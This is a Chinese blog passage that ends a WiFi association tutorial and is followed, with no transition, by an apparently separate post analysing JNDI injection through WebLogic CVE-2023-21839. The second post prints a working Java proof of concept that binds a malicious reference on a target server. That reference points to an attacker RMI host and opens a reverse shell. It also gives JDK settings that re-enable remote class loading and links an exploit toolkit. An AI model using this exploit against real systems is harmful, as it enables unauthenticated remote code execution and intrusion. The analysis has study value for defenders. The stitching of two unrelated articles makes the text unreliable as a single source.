  • 安全协议信息 (如WPA/WPA2)
  • 网络容量和设备数量
  • 其他可能的扩展功能 (如QoS、WMM等)

主动扫描的优缺点:

优点
:能够快速发现隐藏的 WiFi 网络 (隐藏SSID的网络) ,因为设备可以通过探测请求主动询问某个特定SSID的存在。

缺点
:主动发送请求帧会增加设备的能耗,且在某些环境中可能暴露设备的存在和意图,减少隐私性。

(b) 被动扫描 (Passive Scanning)

在被动扫描过程中,设备不会主动发送探测请求,而是通过监听特定信道上的信标帧 (Beacon Frame),从中获取 AP 的信息。信标帧是 AP 定期广播的一种特殊的管理帧,所有设备只需监听信道即可获知周围可用的网络。

Image

信标帧 (Beacon Frame)

AP 会定期 (通常是100ms)在指定信道上广播信标帧。信标帧包含了AP的关键信息,包括:

  • SSID
  • BSSID (AP的MAC地址)
  • 支持的传输速率
  • 信道号
  • 安全信息 (如WPA/WPA2)
  • 网络时间戳 (用于同步设备的时钟)
  • 其他可能的功能 (如WMM、HT Capabilities、VHT Capabilities等)

监听信道

  • 设备依次切换到不同的信道,并在每个信道上监听信标帧。每个信道可能包含多个 AP 的信标帧。
  • 通过这些信标帧,设备可以了解哪些 AP 在附近可用,并获取相关的配置信息。

被动扫描的优缺点:

优点
:更节能,因为设备只需被动监听信标帧,而不需要主动发送请求。它也不会暴露设备的身份和意图,增强了隐私性。

缺点
:相比主动扫描,发现 AP 的速度较慢,因为设备必须等待 AP 广播信标帧。尤其在密集的网络环境中,等待多个 AP 广播信标帧可能会耗费更多时间。

(2) 认证阶段 (Authentication)

认证是设备和 AP 之间相互确认身份的过程。在传统的 WiFi 认证中,有两种方式:

开放系统认证 (Open System Authentication)
:这是最简单的方式,不需要设备和AP之间进行任何密钥交换,所有请求都会通过。

共享密钥认证 (Shared Key Authentication)
:设备和 AP 会通过 WEP (Wired Equivalent Privacy) 密钥进行加密认证。这种方式现已很少使用,因为 WEP 的安全性较差,已被更强的 WPA/WPA2/WPA 3等认证方式取代。

Image

现代 WiFi 网络一般使用 WPA/WPA2/WPA3 等协议进行身份验证,结合了 PSK (Pre-Shared Key) 或企业级的 RADIUS 认证服务器来提升安全性。

WiFi 认证就简单介绍这些,后面会专门再针对 WiFi 认证做详细介绍。

(3) 关联阶段

在完成扫描和认证阶段之后,设备必须通过关联阶段,才能与无线接入点 (Access Point, AP) 建立正式的连接,并开始进行数据通信。在这个阶段,设备与 AP 之间会进行详细的参数交换,确保双方能够兼容并高效地进行后续通信。

Image

关联阶段包括
关联请求 (Association Request)

关联响应 (Association Response)
两部分:

(a) 关联请求 (Association Request)

在认证通过后, WiFi 设备会发送一个关联请求帧 (Association Request),请求与 AP 建立正式的连接。这个关联请求帧携带了设备的详细信息,以便 AP 了解设备的能力,并确定双方能否以最佳方式进行通信。

关联请求帧的主要字段包括:

  • SSID
    :所请求连接的网络名称。
  • 支持的速率集 (Supported Rates Set)
    :设备所支持的传输速率,AP可以根据这些速率来选择合适的通信速率。
  • 扩展速率集 (Extended Supported Rates)
    :用于支持更高的传输速率 (例如802.11n/ac/ax)。
  • 信道信息
    :设备希望使用的信道以及相关的频段信息。
  • 安全信息
    :包括设备支持的加密和认证协议 (如WPA2/WPA3等)。
  • 能力信息 (Capability Information)
    :设备的其他功能,如是否支持QoS (Quality of Service)、电源管理等。
  • HT/VHT Capabilities
    :如果设备支持802.11n (HT, High Throughput) 或802.11ac/ax (VHT, Very High Throughput),它会在关联请求中包含这些信息,以允许AP使用更高效的技术来优化传输性能 (如 MIMO、多信道聚合等)。

(b) 关联响应 (Association Response)

AP 接收到设备的关联请求帧后,会检查设备的请求信息,评估其是否能够接受设备的连接。通常,AP 会基于设备的能力和当前网络的负载情况作出决定。然后,AP 会通过
关联响应帧 (Association Response)
来通知设备是否成功关联。

关联响应帧包括以下重要信息:

  • 状态码 (Status Code)
    :指示关联是否成功。如果状态码为0,表示关联成功;否则,设备需要重新尝试。
  • 关联标识符 (Association ID, AID)
    每个成功关联的设备会被 AP 分配一个唯一的 AID,用于区分不同的设备。在后续通信中,AP 使用 AID 来管理每个设备。
  • 支持的速率信息
    :AP 会在响应中确认双方支持的最高传输速率,这些速率会成为后续通信中的基准。
  • 可能的信道信息
    :如果 AP 支持多信道传输或设备的请求中包含特定信道要求,AP 会在响应中确认所选择的信道。

(c) 关联成功后的状态

一旦设备收到关联成功的响应帧,它就会正式成为 AP 的一部分,并可以开始通过AP 访问网络资源。关联成功后的状态有以下几个关键点:

  • 设备获得AID
    :设备的 AID 可以用于 AP 管理关联设备的无线资源,例如通过AID 来识别哪些设备可以发送或接收数据。
  • 资源分配
    :AP 可能根据网络条件和设备的能力,分配特定的无线资源 (如信道带宽、时隙等)。
  • 准备数据传输
    :关联完成后,设备与 AP 之间的通信变为数据帧传输,设备可以通过 AP 接入互联网或本地网络资源。

(d) 关联失败的情况

关联过程并非总是成功的,可能的失败原因包括:

  • AP 超载
    :如果 AP 已经连接了过多的设备,它可能会拒绝新的关联请求,通常会返回一个“超载”状态码。
  • 信道不匹配
    :设备请求使用的信道可能不在 AP 当前支持的信道范围内。
  • 安全协议不兼容
    :如果设备和 AP 使用不同的安全协议 (例如设备只支持 WPA, 而 AP 要求 WPA2 或 WPA3),关联将会失败。
  • 信号质量差
    :如果设备距离 AP 太远,信号质量过差,AP 可能无法维持稳定的连接,从而拒绝关联请求。

结尾

上面主要介绍了有线网与 WiFi 无线网在物理层的差异、WiFi 介质访问控制原理及其关键技术、无线用户的接入过程。

下一篇将介绍 WiFi 空口包抓包、以及各类 WiFi 包的解析。

上面内容,如有错误,欢迎评论区提示指出,不胜感激。

------------------End------------------
如需获取更多内容
请关注 liwen01 公众号

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的。

当然不排除国外英文文章有很好的解释,但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持远程方法调用(RMI)、轻型目录访问协议(LDAP)、域名服务(DNS)。

定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够远程绑定对象执行代码。(这里别蒙圈,知道这俩协议配合JNDI能够远程执行代码即可)

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构(CORBA)

透过Weblogic漏洞深入理解


该漏洞为:Weblogic未授权远程代码执行漏洞(
CVE-2023-21839
)


下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点,毕竟还是参考了很多大佬文章的,各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌,你只需要知道最终触发的还是lookup函数即可,上面的解释就是为了你在朋友面前装13的而已,显得你很牛13。
    漏洞可以概括为:因为weblogic支持t3和iiop协议绑定远程对象,然后绑定的远程对象是ForeignOpaqueReferent的话,客户端通过jndi查询的时候,服务端其实是调用了远程对象的getRefernet函数进行实例化,然后在这个函数里面进行了lookup查找,查找的是remoteJNDIName,这个就是漏洞点,我们可以通过反射机制修改这个remoteJNDIName,也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注:!!!补充,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是:RMI/LDAP远程对象引用安全限制存在差异)

参考文章:
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓
里面有写一段,解决了我的对两个协议的疑惑
:↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制,本地的
    java.rmi.server.useCodebaseOnly
    配置如果为true(
    禁止引用远程对象
    ),为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到
    com.sun.jndi.rmi.object.trustURLCodebase
    配置限制,如果该值为false(
    不信任远程引用对象
    ),一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121
    开始,
    java.rmi.server.useCodebaseOnly
    默认值改为了
    true
  • JDK6u132、JDK7u122、JDK8u113
    开始
    com.sun.jndi.rmi.object.trustURLCodebase
    默认值改为了
    false

    本地测试远程对象引用可以使用
    如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在
    JDK6u211、7u201、8u191、11.0.1
    后将
    com.sun.jndi.ldap.object.trustURLCodebase
    的默认设置为了false。(
    但不受java.rmi.server.useCodebaseOnly影响

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。


  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析,使用RMI攻击。
    分析前要记住一点:Weblogic t3/iiop协议支持远程绑定对象bind到服务端


    • 允许绑定对象这一点很重要,既然允许绑定对象,那么我们就需要找一个能够触发lookup且变量可控的类去绑定,这样我们才能够实现JNDI注入攻击。
  • 巧的是:当远程对象继承自OpaqueReference时,lookup查看远程对象,查询的变量是
    remoteJNDIName
    (
    可通过反射机制控制
    )。
    这里又发现一篇文章写得不错,我参考了一二:
    https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓


    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象
      ,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。

    通过lookup查询该恶意对象
    :这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发,这也就是为啥我选weblogic这个漏洞来解释的原因,他的poc就是你自己来决定绑定后是否进行lookup攻击的,很直接了当告诉你就是lookup触发的,别不信,你自己决定是否lookup攻击。
    注:!!!我还要再次补充就是,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章:
https://xz.aliyun.com/t/12297
下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent,你看我框住的就行,你会发现我们只要满足下面两点:

  1. jndiEnvironment不为空,就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端后台的lookup,接着执行你控制好的remoteJNDIName,
所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入

在这里插入图片描述
以下是RMI的漏洞攻击POC:
注明:本人没有测试poc是否成功,建议使用集成工具一键搭好攻击环境:
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ,然后设置好值后,远程绑定ForeignOpaqueReference对象,然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象,
    这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps:上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ,看不懂可以接下去看lookup触发链。
    (我已大彻大悟,不知道友悟到没。)
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因,下面介绍的是知道了进行lookup后,lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(
从下JNDI_Test的函类开始往上看
)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲
getObjectFactoryFromReference
就是最终的
罪魁祸首

其他调用过程就不讲了,有感兴趣可以看参考文章:
https://xz.aliyun.com/t/12297
接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);
    尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);
    从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的,在参考文章中也有告诉我就是:URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}


至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束。


JNDI+LDAP

同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释,道友莫怪。
感谢看到这里的道友~